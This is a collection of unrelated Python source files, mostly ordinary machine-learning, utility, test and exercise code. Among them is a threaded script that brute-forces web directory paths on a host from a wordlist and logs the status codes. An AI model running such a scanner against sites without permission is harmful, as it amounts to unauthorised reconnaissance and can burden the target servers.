activation_distance, random_seed)\n        self.shape = (x, y, z)\n\n        if sigma >= x or sigma >= y or sigma >= z:\n            warn('Warning: sigma is too high for the dimension of the map.')\n\n        self._random_generator = random.RandomState(random_seed)\n\n        self._learning_rate = learning_rate\n        self._sigma = sigma\n        self._input_len = input_len\n        # random initialization\n\n        self._weights = self._random_generator.rand(x, y, z, input_len) * 2 - 1\n\n\n        self._weights /= linalg.norm(self._weights, axis=-1, keepdims=True)\n\n\n        self._activation_map = zeros((x, y, z))\n\n        self._neigx = arange(x)\n        self._neigy = arange(y)  # used to evaluate the neighborhood function\n        self._neigz = arange(z)  # used to evaluate the neighborhood function\n\n        if topology not in ['hexagonal', 'rectangular']:\n            msg = '%s not supported only hexagonal and rectangular available'\n            raise ValueError(msg % topology)\n        self.topology = topology\n\n        self._xx, self._yy, self._zz = meshgrid(self._neigx, self._neigy, self._neigz)\n\n        self._xx = self._xx.astype(float)\n        self._yy = self._yy.astype(float)\n\n        self._zz = self._zz.astype(float)\n\n        if topology == 'hexagonal':\n            self._xx[::-2] -= 0.5\n            if neighborhood_function in ['triangle']:\n                warn('triangle neighborhood function does not ' +\n                     'take in account hexagonal topology')\n\n        self._decay_function = decay_function\n\n\n        neig_functions = {'gaussian': self._gaussian3D,\n                          'mexican_hat': self._mexican_hat3D,\n                          'bubble': self._bubble3D,\n                          'triangle': self._triangle3D\n                          }\n\n        if neighborhood_function not in neig_functions:\n            msg = '%s not supported. Functions available: %s'\n            raise ValueError(msg % (neighborhood_function,\n                                    ', '.join(neig_functions.keys())))\n\n        if neighborhood_function in ['triangle',\n                                     'bubble'] and (divmod(sigma, 1)[1] != 0\n                                                    or sigma < 1):\n            warn('sigma should be an integer >=1 when triangle or bubble' +\n                 'are used as neighborhood function')\n\n        self.neighborhood = neig_functions[neighborhood_function]\n\n        distance_functions = {'euclidean': self._euclidean_distance,\n                              'cosine': self._cosine_distance,\n                              'manhattan': self._manhattan_distance,\n                              'chebyshev': self._chebyshev_distance}\n\n        if isinstance(activation_distance, str):\n            if activation_distance not in distance_functions:\n                msg = '%s not supported. Distances available: %s'\n                raise ValueError(msg % (activation_distance,\n                                        ', '.join(distance_functions.keys())))\n\n            self._activation_distance = distance_functions[activation_distance]\n        elif callable(activation_distance):\n            self._activation_distance = activation_distance\n\n\n    def _gaussian3D(self, c, sigma):\n        \"\"\"Returns a Gaussian centered in c.\"\"\"\n        d = 2 * sigma * sigma\n        ax = exp(-power(self._xx - self._xx.T[c], 2) / d)\n        ay = exp(-power(self._yy - self._yy.T[c], 2) / d)\n        az = exp(-power(self._zz - self._zz.T[c], 2) / d)\n        return (ax * ay * az).T  # the external product gives a matrix\n\n    def _mexican_hat3D(self, c, sigma):\n        \"\"\"Mexican hat centered in c.\"\"\"\n        p = power(self._xx-self._xx.T[c], 2) + power(self._yy-self._yy.T[c], 2)  + power(self._zz-self._zz.T[c], 2)\n        d = 2*sigma*sigma\n        return (exp(-p/d)*(1-2/d*p)).T\n\n    def _bubble3D(self, c, sigma):\n        \"\"\"Constant function centered in c with spread sigma.\n        sigma should be an odd value.\n        \"\"\"\n        ax = logical_and(self._neigx > c[0]-sigma,\n                         self._neigx < c[0]+sigma)\n        ay = logical_and(self._neigy > c[1]-sigma,\n                         self._neigy < c[1]+sigma)\n        az = logical_and(self._neigz > c[2]-sigma,\n                         self._neigz < c[2]+sigma)\n        return outer(outer(ax, ay), az)*1.\n\n    def _triangle3D(self, c, sigma):\n        \"\"\"Triangular function centered in c with spread sigma.\"\"\"\n        triangle_x = (-abs(c[0] - self._neigx)) + sigma\n        triangle_y = (-abs(c[1] - self._neigy)) + sigma\n        triangle_z = (-abs(c[1] - self._neigz)) + sigma\n        triangle_x[triangle_x < 0] = 0.\n        triangle_y[triangle_y < 0] = 0.\n        triangle_z[triangle_z < 0] = 0.\n        inter = outer(triangle_x, triangle_y)\n        return outer(inter, triangle_z)\n\n    def pca_weights_init(self, data):\n        \"\"\"Initializes the weights to span the first two principal components.\n\n        This initialization doesn't depend on random processes and\n        makes the training process converge faster.\n\n        It is strongly reccomended to normalize the data before initializing\n        the weights and use the same normalization for the training data.\n        \"\"\"\n        if self._input_len == 1:\n            msg = 'The data needs at least 2 features for pca initialization'\n            raise ValueError(msg)\n        self._check_input_len(data)\n        if len(self._neigx) == 1 or len(self._neigy) == 1 or len(self._neigz) == 1:\n            msg = 'PCA initialization inappropriate:' + \\\n                  'One of the dimensions of the map is 1.'\n            warn(msg)\n        pc_length, pc = linalg.eig(cov(transpose(data)))\n        pc_order = argsort(-pc_length)\n        for i, c1 in enumerate(linspace(-1, 1, len(self._neigx))):\n            for j, c2 in enumerate(linspace(-1, 1, len(self._neigy))):\n                for k, c3 in enumerate(linspace(-1, 1, len(self._neigz))):\n                    self._weights[i, j, k] = c1*pc[pc_order[0]] + c2*pc[pc_order[1]] + c3*pc[pc_order[2]]\n\n    def update(self, x, win, t, max_iteration):\n        \"\"\"Updates the weights of the neurons.\n\n        Parameters\n        ----------\n        x : np.array\n            Current pattern to learn.\n        win : tuple\n            Position of the winning neuron for x (array or tuple).\n        t : int\n            Iteration index\n        max_iteration : int\n            Maximum number of training itarations.\n        \"\"\"\n        eta = self._decay_function(self._learning_rate, t, max_iteration)\n        # sigma and learning rate decrease with the same rule\n        sig = self._decay_function(self._sigma, t, max_iteration)\n        # improves the performances\n        g = self.neighborhood(win, sig) * eta\n        # w_new = eta * neighborhood_function * (x-w)\n        self._weights += einsum('ijk, ijkl->ijkl', g, x - self._weights)\n\n    def train(self, data, num_iteration, random_order=False, verbose=False):\n        \"\"\"Trains the SOM.\n\n        Parameters\n        ----------\n        data : np.array or list\n            Data matrix.\n\n        num_iteration : int\n            Maximum number of iterations (one iteration per sample).\n        random_order : bool (default=False)\n            If True, samples are picked in random order.\n            Otherwise the samples are picked sequentially.\n\n        verbose : bool (default=False)\n            If True the status of the training\n            will be printed at each iteration.\n        \"\"\"\n        self._check_iteration_number(num_iteration)\n        self._check_input_len(data)\n        random_generator = None\n        if random_order:\n            random_generator = self._random_generator\n        iterations = _build_iteration_indexes(len(data), num_iteration,\n                                              verbose, random_generator)\n        for t, iteration in enumerate(iterations):\n            self.update(data[iteration], self.winner(data[iteration]),\n                          t, num_iteration)\n        if verbose:\n            print('\\n quantization error:', self.quantization_error(data))\n            print('\\n topographic error:', self.topographic_error(data))\n\n    def get_euclidean_coordinates(self):\n        \"\"\"Returns the position of the neurons on an euclidean\n        plane that reflects the chosen topology in two meshgrids xx and yy.\n        Neuron with map coordinates (1, 4) has coordinate (xx[1, 4], yy[1, 4])\n        in the euclidean plane.\n\n        Only useful if the topology chosen is not rectangular.\n        \"\"\"\n        return self._xx.T, self._yy.T, self._zz.T\n\n    def convert_map_to_euclidean(self, xyz):\n        \"\"\"Converts map coordinates into euclidean coordinates\n        that reflects the chosen topology.\n\n        Only useful if the topology chosen is not rectangular.\n        \"\"\"\n        return self._xx.T[xyz], self._yy.T[xyz], self._zz.T[xyz]\n\n    def distance_map(self, scaling='sum'):\n        \"\"\"Returns the distance map of the weights.\n        If scaling is 'sum' (default), each cell is the normalised sum of\n        the distances between a neuron and its neighbours. Note that this\n        method uses the euclidean distance.\n\n        Parameters\n        ----------\n        scaling : string (default='sum')\n            If set to 'mean', each cell will be the normalized\n            by the average of the distances of the neighbours.\n            If set to 'sum', the normalization is done\n            by the sum of the distances.\n        \"\"\"\n\n        if scaling not in ['sum', 'mean']:\n            raise ValueError('scaling should be either \"sum\" or \"mean\" ('\n                             '\"{scaling}\" not valid)')\n\n        um = nan * zeros((self._weights.shape[0],\n                          self._weights.shape[1],\n                          self._weights.shape[2],\n                          26))  # 2 spots more for hexagonal topology\n\n        # ii = [[0, -1, -1, -1, 0, 1, 1, 1]] * 2\n        # jj = [[-1, -1, 0, 1, 1, 1, 0, -1]] * 2\n\n        ii = [[0, -1, -1, -1, 0, 1, 1, 1, 0,\n               0, -1, -1, -1, 0, 1, 1, 1,\n               0, -1, -1, -1, 0, 1, 1, 1, 0]]*2\n        jj = [[-1, -1, 0, 1, 1, 1, 0, -1, 0\n               -1, -1, 0, 1, 1, 1, 0, -1,\n               -1, -1, 0, 1, 1, 1, 0, -1, 0]]*2\n        kk = [[ -1, -1, -1, -1, -1, -1, -1, -1, -1,\n                0, 0, 0, 0, 0, 0, 0, 0,\n                1, 1, 1, 1, 1, 1, 1, 1, 1]] * 2\n\n        if self.topology == 'hexagonal': # HAS TO BE REMADE for 3D\n            ii = [[1, 1, 1, 0, -1, 0], [0, 1, 0, -1, -1, -1]]\n            jj = [[1, 0, -1, -1, 0, 1], [1, 0, -1, -1, 0, 1]]\n\n        for x in range(self._weights.shape[0]):\n            for y in range(self._weights.shape[1]):\n                for z in range(self._weights.shape[2]):\n                    w_2 = self._weights[x, y, z]\n                    e = y % 2 == 0   # only used on hexagonal topology\n                    for a, (i, j, k) in enumerate(zip(ii[e], jj[e], kk[e])):\n                        if (x+i >= 0 and x+i < self._weights.shape[0]\n                            and y+j >= 0 and y+j < self._weights.shape[1]\n                            and z+k >= 0 and z+k < self._weights.shape[2]):\n                            w_1 = self._weights[x+i, y+j, z+k]\n                            um[x, y, z, a] = fast_norm(w_2-w_1)\n\n        if scaling == 'mean':\n            um = nanmean(um, axis=3)\n        if scaling == 'sum':\n            um = nansum(um, axis=3)\n\n        return um/um.max()\n\n    def activation_response(self, data):\n        \"\"\"\n            Returns a matrix where the element i,j is the number of times\n            that the neuron i,j have been winner.\n        \"\"\"\n        self._check_input_len(data)\n        a = zeros((self._weights.shape[0], self._weights.shape[1], self._weights.shape[2]))\n        for x in data:\n            a[self.winner(x)] += 1\n        return a\n\n    def _distance_from_weights(self, data):\n        \"\"\"Returns a matrix d where d[i,j] is the euclidean distance between\n        data[i] and the j-th weight.\n        \"\"\"\n        input_data = array(data)\n        weights_flat = self._weights.reshape(-1, self._weights.shape[-1])\n        input_data_sq = power(input_data, 2).sum(axis=1, keepdims=True)\n        weights_flat_sq = power(weights_flat, 2).sum(axis=1, keepdims=True)\n        cross_term = dot(input_data, weights_flat.T)\n        return sqrt(-2 * cross_term + input_data_sq + weights_flat_sq.T)\n\n\n    def quantization(self, data):\n        \"\"\"Assigns a code book (weights vector of the winning neuron)\n        to each sample in data.\"\"\"\n        self._check_input_len(data)\n        winners_coords = argmin(self._distance_from_weights(data), axis=1)\n        return self._weights[unravel_index(winners_coords, self._weights.shape[:-1])]\n\n    def topographic_error(self, data):\n        \"\"\"Returns the topographic error computed by finding\n        the best-matching and second-best-matching neuron in the map\n        for each input and then evaluating the positions.\n\n        A sample for which these two nodes are not adjacent counts as\n        an error. The topographic error is given by the\n        the total number of errors divided by the total of samples.\n\n        If the topographic error is 0, no error occurred.\n        If 1, the topology was not preserved for any of the samples.\"\"\"\n        self._check_input_len(data)\n        if self.topology == 'hexagonal':\n            msg = 'Topographic error not implemented for hexagonal topology.'\n            raise NotImplementedError(msg)\n        total_neurons = prod(self._activation_map.shape)\n        if total_neurons == 1:\n            warn('The topographic error is not defined for a 1-by-1 map.')\n            return nan\n\n        t = 1.42\n        # b2mu: best 2 matching units\n        b2mu_inds = argsort(self._distance_from_weights(data), axis=1)[:, :2]\n        b2my_xyz = unravel_index(b2mu_inds, self._weights.shape[:-1])\n        b2mu_x, b2mu_y, b2mu_z = b2my_xyz[0], b2my_xyz[1], b2my_xyz[2]\n        dxdydz = hstack([diff(b2mu_x), diff(b2mu_y), diff(b2mu_z)])\n        distance = norm(dxdydz, axis=1) # matrix or vector norm, might not work for nd array\n        return (distance > t).mean()","repo_name":"moisaoana/symbolic_analysis","sub_path":"Som_Code/Minisom3D.py","file_name":"Minisom3D.py","file_ext":"py","file_size_in_byte":17491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"28803276503","text":"\"\"\"\nMisc Utility functions\n\"\"\"\nimport os\nimport logging\nimport datetime\nimport torch\nfrom collections import OrderedDict\n\n\ndef get_logger(logdir):\n    logger = logging.getLogger(\"ptsemseg\")\n    ts = str(datetime.datetime.now()).split(\".\")[0].replace(\" \", \"_\")\n    ts = ts.replace(\":\", \"_\").replace(\"-\", \"_\")\n    file_path = os.path.join(logdir, \"run_{}.log\".format(ts))\n    hdlr = logging.FileHandler(file_path)\n    formatter = logging.Formatter(\"%(asctime)s %(levelname)s %(message)s\")\n    hdlr.setFormatter(formatter)\n    logger.addHandler(hdlr)\n    logger.setLevel(logging.INFO)\n    return logger\n\n\ndef print_parameter_number(model, model_name):\n    total_params = sum(p.numel() for p in model.parameters())\n    trainable_params = sum(p.numel() for p in model.parameters() if p.requires_grad)\n    log_str = 'Total number of trainable parameters / all parameters in {}: {} / {}'\\\n        .format(model_name, trainable_params, total_params)\n    print(log_str)\n\n\ndef load_value_file(file_path):\n    with open(file_path, 'r') as input_file:\n        value = float(input_file.read().rstrip('\\n\\r'))\n\n    return value\n\n\ndef load_model(model, snapshot):\n    new_state_dict = OrderedDict()\n    for k, v in snapshot.items():\n        head = k[:7]\n        name = k[7:] if head == 'module.' else k\n        new_state_dict[name] = v\n    model.load_state_dict(new_state_dict, strict=False)\n\n\ndef _strip_DataParallel(net):\n    if isinstance(net, torch.nn.DataParallel):\n        return _strip_DataParallel(net.module)\n    return net\n\n\ndef remove_adjust_features(model):\n    _strip_DataParallel(model).adjust_features = None\n\n\ndef get_last_features_size(model):\n    return _strip_DataParallel(model).fc.in_features\n\n\ndef get_model_state(model):\n    return _strip_DataParallel(model).state_dict()\n\n\nclass AverageMeter(object):\n    \"\"\"Computes and stores the average and current value\"\"\"\n    def __init__(self):\n        self.reset()\n\n    def reset(self):\n        self.val = 0\n        self.avg = 0\n        self.sum = 0\n        self.count = 0\n\n    def update(self, val, n=1):\n        self.val = val\n        self.sum += val * n\n        self.count += n\n        if self.count > 0:\n          self.avg = self.sum / self.count","repo_name":"deepmd/Distil-2D-3D","sub_path":"libs/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2200,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"2517481508","text":"import threading\nimport requests\nimport sys\nimport os\nimport time\n\nipturl = str()\nWord = str()\nWordL = list()\nerrorC = list()\nSCD = dict()\n\nthreads = []\n\ndef urlGenerator(inputS, word):\n    return \"https://\" + inputS + \"/\" + word\n\ndef Broute_Force(url):\n    global SCD\n    try:\n        response = requests.get(url)\n        SCD[url] = int(response.status_code)\n    except:\n        print(\"URL error for : \" + url)\n        SCD[url] = 404\n\ndef inputP():\n    try:\n        global ipturl\n        global WordF\n        global errorC\n        global WordL\n\n        ipturl = sys.argv[1]\n        WordF = sys.argv[2]\n\n        for x in range(3, len(sys.argv)):\n            errorC.append(int(sys.argv[x]))\n\n        if not(os.path.isfile(WordF)):\n            raise Exception(\"The input of word file does not exist or accessing from wrong location(path)\")\n\n        WordL = open(WordF, 'r').readlines()\n\n        for x in range(len(WordL)):\n            WordL[x] = WordL[x].strip()\n    except Exception as e:\n        print(e)\n        sys.exit()\n\n\ndef actionHandler():\n    global WordL\n    global ipturl\n    urls = []\n    global SCD\n    global threads\n\n    for word in WordL:\n        urls.append(urlGenerator(ipturl, word))\n\n    for url in urls:\n        threads.append(threading.Thread(\n            target=Broute_Force, args=(url,)))\n\n    for x in range(len(threads)):\n        threads[x].start()\n\n\ndef outputGeneration():\n    global SCD\n    global errorC\n    global threads\n\n    for x in range(len(threads)):\n        threads[x].join()\n\n    file = open('ans.txt', 'w')\n\n    print(\"Printing and writing require one in ans.txt file !\")\n\n    for key, value in SCD.items():\n        print(key + \" [Status code \" + str(value) + \"]\" +\"\\n\")\n        if value in errorC:\n            to_write = key + \" [Status code \" + str(value) + \"]\" + \"\\n\"\n            file.write(to_write)\n\n    file.close()\n\n\nif __name__ == \"__main__\":\n    start_time = time.time()\n    inputP()\n    actionHandler()\n    outputGeneration()\n    print(\"%s sec\" % (time.time() - start_time))\n","repo_name":"pawanptu/CloudSEK_Backend_Assignment_Solution","sub_path":"CloudSEK.py","file_name":"CloudSEK.py","file_ext":"py","file_size_in_byte":2024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"13412637943","text":"import unittest\nfrom where_is_the_nearest_bikeshare_bike.where_is_the_nearest_bikeshare_bike import angle_between_gps\n\n\nclass AngleBetweenGpsTests(unittest.TestCase):\n\n    def test_north_angle(self):\n        # Use same GPS except increase latitude\n\n        from_gps = {\n            \"longitude\": -121.49305556,\n            \"latitude\": 38.58638889\n        }\n\n        to_gps = {\n            \"longitude\": -121.49305556,\n            \"latitude\": 48.58638889\n        }\n\n        expected = 0\n\n        actual = angle_between_gps(from_gps, to_gps)\n\n        self.assertEqual(expected, actual, 'test_north_angle')\n\n    def test_east_angle(self):\n        # Use same GPS except increase longitude\n\n        from_gps = {\n            \"longitude\": -121.49305556,\n            \"latitude\": 48.58638889\n        }\n\n        to_gps = {\n            \"longitude\": -111.49305556,\n            \"latitude\": 48.58638889\n        }\n\n        expected = 90\n\n        actual = angle_between_gps(from_gps, to_gps)\n\n        self.assertEqual(expected, actual, 'test_east_angle')\n\n    def test_south_angle(self):\n        # Use same GPS except decrease latitude\n\n        from_gps = {\n            \"longitude\": -121.49305556,\n            \"latitude\": 48.58638889\n        }\n\n        to_gps = {\n            \"longitude\": -121.49305556,\n            \"latitude\": 38.58638889\n        }\n\n        expected = 180\n\n        actual = angle_between_gps(from_gps, to_gps)\n\n        self.assertEqual(expected, actual, 'test_south_angle')\n\n    def test_west_angle(self):\n        # Use same GPS except decrease longitude\n\n        from_gps = {\n            \"longitude\": -121.49305556,\n            \"latitude\": 28.58638889\n        }\n\n        to_gps = {\n            \"longitude\": -151.49305556,\n            \"latitude\": 28.58638889\n        }\n\n        expected = 270\n\n        actual = angle_between_gps(from_gps, to_gps)\n\n        self.assertEqual(expected, actual, 'test_west_angle')\n\n    def test_angle_between_citypark_and_nearest(self):\n\n        city_park_gps = {\n            \"longitude\": -121.49305556,\n            \"latitude\": 38.58638889\n        }\n\n        nearest_hub_gps = {\n            \"longitude\": -121.4920789003372,\n            \"latitude\": 38.586078791838744\n        }\n\n        # https://www.calculator.net/slope-calculator.html?type=1&x11=-121.49305556&y11=38.58638889&x12=-121.4920789003372&y12=38.586078791838744&x=36&y=14\n        # Compass uses north (y axis) as 0.\n        expected = 108\n\n        actual = angle_between_gps(city_park_gps, nearest_hub_gps)\n\n        self.assertEqual(expected, actual, 'test_angle_between_citypark_and_nearest hub')\n\n\n    def test_north_east(self):\n\n        city_park_gps = {\n            \"longitude\": -121.49305556,\n            \"latitude\": 38.58638889\n        }\n\n        chipotle_in_arden = {\n            \"longitude\": -121.417894,\n            \"latitude\": 38.59719\n        }\n\n        # https://www.wolframalpha.com/input/?i=graph+(-121.49305556,+38.58638889)+(-121.417894,+38.59719)\n\n        expected = 82\n\n        actual = angle_between_gps(city_park_gps, chipotle_in_arden)\n\n        self.assertEqual(expected, actual, 'test_north_east city park to arden')\n\n    def test_north_west(self):\n\n        city_park_gps = {\n            \"longitude\": -121.49305556,\n            \"latitude\": 38.58638889\n        }\n\n        jimboom_street_bridge = {\n            \"longitude\": -121.5070186,\n            \"latitude\": 38.5997365\n        }\n\n        # https://www.wolframalpha.com/input/?i=graph+(-121.49305556,+38.58638889)+(-121.5070186,+38.5997365)\n\n        # https://www.calculator.net/slope-calculator.html?type=1&x11=-121.49305556&y11=38.58638889&x12=-121.5070186&y12=38.5997365&x=58&y=21\n        # 136\n        # Compass uses north (y axis) as 0.\n        expected = 314\n\n        actual = angle_between_gps(city_park_gps, jimboom_street_bridge)\n\n        self.assertEqual(expected, actual, 'test_north_west city park to jimboom street bridge')\n\n    def test_south_west(self):\n\n        city_park_gps = {\n            \"longitude\": -121.49305556,\n            \"latitude\": 38.58638889\n        }\n\n        amtrak_station = {\n            \"longitude\": -121.5016916,\n            \"latitude\": 38.5840008,\n        }\n\n        # https://www.wolframalpha.com/input/?i=graph+(-121.49305556,+38.58638889)+(-121.5016916,+38.5840008)\n\n        # https://www.calculator.net/slope-calculator.html?type=1&x11=-121.49305556&y11=38.58638889&x12=-121.5070186&y12=38.5997365&x=58&y=21\n        # 195\n        # Compass uses north (y axis) as 0.\n        expected = 255\n\n        actual = angle_between_gps(city_park_gps, amtrak_station)\n\n        self.assertEqual(expected, actual, 'test_south_west city park to amtrak')\n\n    def test_south_east(self):\n\n        city_park_gps = {\n            \"longitude\": -121.49305556,\n            \"latitude\": 38.58638889\n        }\n\n        sacramento_bicycle_kitchen = {\n            \"longitude\": -121.4821897,\n            \"latitude\": 38.5783092\n        }\n\n        # https://www.wolframalpha.com/input/?i=graph+(-121.49305556,+38.58638889)+(-121.4821897,+38.5783092)\n\n        expected = 127\n\n        actual = angle_between_gps(city_park_gps, sacramento_bicycle_kitchen)\n\n        self.assertEqual(expected, actual, 'test_south_east citypark to bike kitchen')\n\n","repo_name":"BrianHenryIE/Bikeshare-Siri-Shortcuts","sub_path":"test/test_angle_between_gps.py","file_name":"test_angle_between_gps.py","file_ext":"py","file_size_in_byte":5216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"28108699782","text":"import requests\n\ndef get_url(url: str):\n    \"\"\"\n    Function that will call a provide GET API endpoint url and return its status code and either its content or error message as a string\n\n    Parameters\n    ----------\n    url : str\n        URL of the GET API endpoint to be called\n\n    Returns\n    -------\n    int\n        API call response status code\n    str\n        Text from API call response\n    \"\"\"\n\n    try:\n\n        get_response = requests.get(url=url)\n\n        status_code = get_response.status_code\n\n        if status_code == 200:\n            response = get_response.json()\n        else:\n            response = f\"Error: Status Code {status_code}\"\n\n        return status_code, response\n    \n    except Exception as e:\n        return 0, str(e)\n\n\n    \n\n\n","repo_name":"neeschal00/frankfurter-currency-converter","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"38676754721","text":"import pandas\nimport random\n\nstu_id = [i+j+k for k in [18000000000, 19000000000, 20000000000] for j in [307110000, 307130000, 300180000] for i in range(500)]\nRoads = [\"Avenue\", \"Street\", \"Road\", \"Lane\"]\nCities = [\"Tokyo\", \"Delhi\", \"Manila\", \"Sao Paulo\", \"Guangzhou\", \"Shanghai\", \"Beijing\", \"Los Angeles\", \"Bangkok\",\n          \"Seoul\", \"Buenos Aires\", \"Paris\", \"London\", \"Madrid\", \"Hong Kong\"]\nnames = pandas.read_csv(r\"..\\playground\\names.csv\")\nnames = list(names['names'])\nuser = []\nfor stu in stu_id:\n    surname = random.choice(names)\n    lastname = random.choice(names)\n    user.append(\n        [surname + ' ' + lastname,\n         random.choices([\"Male\", \"Female\", \"None\"], [10, 10, 1], k=1)[0],\n         random.choice(['189', '186', '137', '191', '158']) + str(random.randint(10000000, 100000000)),\n         str(stu) + '@fudan.edu.cn',\n         str(random.randint(1, 999)) + ' ' + random.choice(names)[:6] + ' ' + random.choice(Roads) + ', ' + random.choice(\n             Cities),\n         random.choice([0, 1])])\nuser = pandas.DataFrame(user, columns=['name', 'sex', 'phone', 'email', 'address', 'vip'])\nprint(user)\nuser.to_csv(r'..\\data\\users.csv')\n","repo_name":"super-dainiu/MyBookDB","sub_path":"playground/random_user.py","file_name":"random_user.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"31603101243","text":"from torch import nn\nfrom models.backbone import *\n\n\n#Create the twin network with the backbone model and the projection head\nclass MinSpeak(nn.Module):\n\n\tdef __init__(self, args):\n\t\tself.args = args\n\t\tself.backbone = ResidualBLSTM(Resblock, [2])\n\t\tself.end_dim = self.backbone.flatten.end_dim\n\t\tself.dim_out = 567\n\t\t#projection head\n\t\tself.proj_head = nn.Sequential(\n\t\t\tnn.Linear(self.end_dim , self.end_dim , bias=False),\n\t\t\tnn.BatchNorm1d(self.end_dim ),\n\t\t\tnn.ReLU(inplace=True),\n\t\t\tnn.Linear(self.end_dim , self.end_dim , bias=False),\n\t\t\tnn.BatchNorm1d(self.end_dim ),\n\t\t\tnn.ReLU(inplace=True),\n\t\t\tnn.BatchNorm1d(self.dim_out, affine=False)\n\t\t)\n\t\tself.predictor = nn.Sequential(\n\t\t\tnn.Linear(self.dim_out, self.end_dim, bias=False),\n\t\t\tnn.BatchNorm1d(self.end_dim),\n\t\t\tnn.ReLU(inplace=True),  # hidden layer\n\t\t\tnn.Linear(self.end_dim, self.dim_out)\n\t\t)\n\n\tdef forward(self, x1, x2):\n\t\t#Input of positive speaker samples x1 and x2\n\n\t\to1 = self.proj_head(self.backbone(x1))\n\t\to2 = self.proj_head(self.backbone(x2))\n\n\t\tp1 = self.predictor(o1)\n\t\tp2 = self.predictor(o2)\n\n\t\treturn p1, p2, o1.detach(), o2.detach()","repo_name":"aitor-alvarez/self-supervised-speaker","sub_path":"models/MinSpeak.py","file_name":"MinSpeak.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"44524674951","text":"#Tan Hyong Hsing\n#20DDT21F1002\n\ncar_price = 90000\nminimum_dp = 0.10 * car_price\nfixed_interest_rate = 0.027\n\n\ncustomer_dp = int(input('Please enter your downpayment: '))\n\nif customer_dp < minimum_dp :\n    print('You are not eligible for the bank loan.')\nelse :\n    loan_amount = car_price - customer_dp\n    loan = int(input('How long you want to make a loan in years(1 to 9 years only): '))\n    total_interest = fixed_interest_rate * loan_amount  * loan\n    loan_period_in_month = loan * 12\n    monthly_installment = (loan_amount + total_interest) / loan_period_in_month\n    two_decimal = round(monthly_installment ,2)\n    print('You need to pay RM ' + str(two_decimal) + ' monthly as your monthly payment.')","repo_name":"TANHYONGHSING/legend","sub_path":"PYTHONPROJECT/lab_exercise1(3).py","file_name":"lab_exercise1(3).py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"5411491111","text":"\n\ndef screen():\n\tprint(\"\\n\\t\")\n\tprint(\" =================================================\")\n\tprint(\"\\n\\t\\tFUNCTION\\n\")\n\tprint(\" *** CAPITALIZE all the COMMANDSs\")\n\tprint(\" **** Enter all DATA in LOWERCASE\")\n\tprint(\" **** Do not use space bar\")\n\tprint(\" -------------------------------------------------\")\n\tprint(\" + (data)\t\tinsert\")\n\tprint(\" - (data)\t\tdelete\"); \n\tprint(\" = (data)\t\treplace data\") \n\tprint(\" E\t\t\tbe empty\") \n\tprint(\" @\t\t\tprint present position\")\n\tprint(\" A\t\t\tlength of array\") #create\n\tprint(\" L\t\t\tprint array\")\n\tprint(\" R\t\t\treverse array\")#create\n\tprint(\" S\t\t\tsort\");#create\n\tprint(\" V\t\t\tsort(reverse)\"); #create\n\tprint(\" <\t\t\tgo to first index\")\n\tprint(\" >\t\t\tgo to last index\")\n\tprint(\" N\t\t\tgo to next index\")\n\tprint(\" P\t\t\tgo to previous index\")\n\tprint(\" M (index)\t\tMove (numberth) index\") \n\tprint(\" MN\t\t\tmove forward one\")\n\tprint(\" MP\t\t\tmove backward one\")\n\tprint(\" Mn\t\t\tmove to end of list \")\n\tprint(\"\\n Q\t\t\tquit\")\n\tprint(\" =================================================\")\n\ndef printarr(array): #L\n\tif (length == 0) :\n\t\tprint(\" This array is empty\")\n\telse :\n\t\tfor i in range(0,length,1):\n\t\t\tif ((i == position or (position == -1 and length != 0))): print('('+array[i]+')',end=' ')\n\t\t\telse: print(array[i],end=' ')\n\t\tprint()\n\ndef insert(array, data):#+\n\tglobal position\n\tposition+=1\n\tlength=len(array)\n\tarray.insert(position,data)\n\ndef delete(array,index):#-\n\tglobal position\n\tdel my_array[position]\n\tif position == length-1 : position=0\n\ndef move(array,index):\n\tglobal position\n\tif position > index:\n\t\tfor i in range(position,index,-1):\n\t\t\ttemp = array[i - 1]\n\t\t\tarray[i - 1] = array[i]\n\t\t\tarray[i] = temp\n\telif position < index:\n\t\tfor i in range(position,index,+1):\n\t\t\ttemp = array[i + 1]\n\t\t\tarray[i + 1] = array[i]\n\t\t\tarray[i] = temp\n\n\n\n#main function\nscreen()\nposition = -1\nlength = 0\nmy_array = []\n\nwhile True:\n\tlength=len(my_array)\n\tprintarr(my_array) \n\ttype=[]\n\ttype=input(\" >>> \")\n\tif type[0] == 'Q':\n\t\tprint(\"- The end -\")\n\t\tbreak\n\tfor i in range(len(type)):\n\t\tif type[i]=='E':\n\t\t\tmy_array.clear()\n\t\t\tposition=-1\n\t\t\tbreak\n\t\tif type[i] == 'S':\n\t\t\tmy_array.sort()\n\t\t\tposition=length-1\n\t\t\tbreak\n\t\tif type[i] == 'V':\n\t\t\tmy_array.sort(reverse=True)\n\t\t\tposition=length-1\n\t\t\tbreak\n\t\tif type[i] == 'R':\n\t\t\tmy_array.reverse()\n\t\t\tposition=length-1\n\t\t\tbreak\n\t\tif type[i] == '=':\n\t\t\tmy_array[position]=type[i+1]\n\t\t\ti+=1\n\t\tif type[i] == 'L':\n\t\t\tif (length == 0) :\n\t\t\t\tprint(\" This array is empty\")\n\t\t\telse :\n\t\t\t\tprint(\" my_array : \", my_array)\n\t\t\tbreak\n\t\tif type[i] == '@':\n\t\t\tprint(\" my_array[\",position,\"] = \",my_array[position])\n\t\tif type[i] == 'A':\n\t\t\tprint(\" length :\",length)\n\t\t\tbreak\n\t\tif type[i]=='+':\n\t\t\tif position>30: break\n\t\t\tinsert(my_array,type[i+1])\n\t\t\ti+=1\n\t\tif type[i]=='-':\n\t\t\tif length==0: 